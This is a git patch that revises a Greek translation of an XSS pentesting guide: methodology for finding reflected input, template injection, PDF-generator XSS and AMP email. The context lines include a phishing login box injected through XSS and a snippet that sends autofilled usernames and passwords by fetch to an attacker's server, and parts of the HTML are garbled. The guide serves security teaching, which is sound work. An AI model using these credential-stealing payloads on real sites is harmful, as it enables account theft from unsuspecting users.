From 2d92bd05939b89c749e51d63d88adaa429e2d733 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 22:43:43 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to --- .../xss-cross-site-scripting/README.md | 119 +++++++++--------- 1 file changed, 60 insertions(+), 59 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index d86954beb..d5931e008 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,15 +2,15 @@ ## Methodology -1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. -2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται. -3. Αν είναι **αντανάκλαση** +1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. +2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται. +3. Αν **αντανακλάται** 1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload: 1. Σε **ακατέργαστο HTML**: 1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML; 2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`; 3. Μπορείτε να παρακάμψετε τις προστασίες; -4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md). +4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html); 2. Μέσα σε μια **ετικέτα HTML**: 1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο; @@ -20,7 +20,7 @@ 3. Μέσα σε **κώδικα JavaScript**: 1. Μπορείτε να ξεφύγετε από την ετικέτα `

Your sesion has timed out, please login again:

This login box is presented using XSS as a proof-of-concept

") ``` -### Αυτόματη καταγραφή κωδικών πρόσβασης +### Λήψη κωδικών πρόσβασης αυτόματης συμπλήρωσης ```javascript Username:
@@ -1377,7 +1378,7 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Όταν εισάγεται οποιοδήποτε δεδομένο στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν. +Όταν οποιαδήποτε δεδομένα εισάγονται στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν. ### Keylogger @@ -1473,7 +1474,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots. ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο -Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: +Από [**αυτή τη συγγραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1517,8 +1518,8 @@ xss-in-markdown.md ### XSS σε δυναμικά δημιουργημένο PDF -Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελεγχόμενη από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ -Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. +Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\ +Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1534,7 +1535,7 @@ pdf-injection.md Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites). -Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους. +Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους. Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).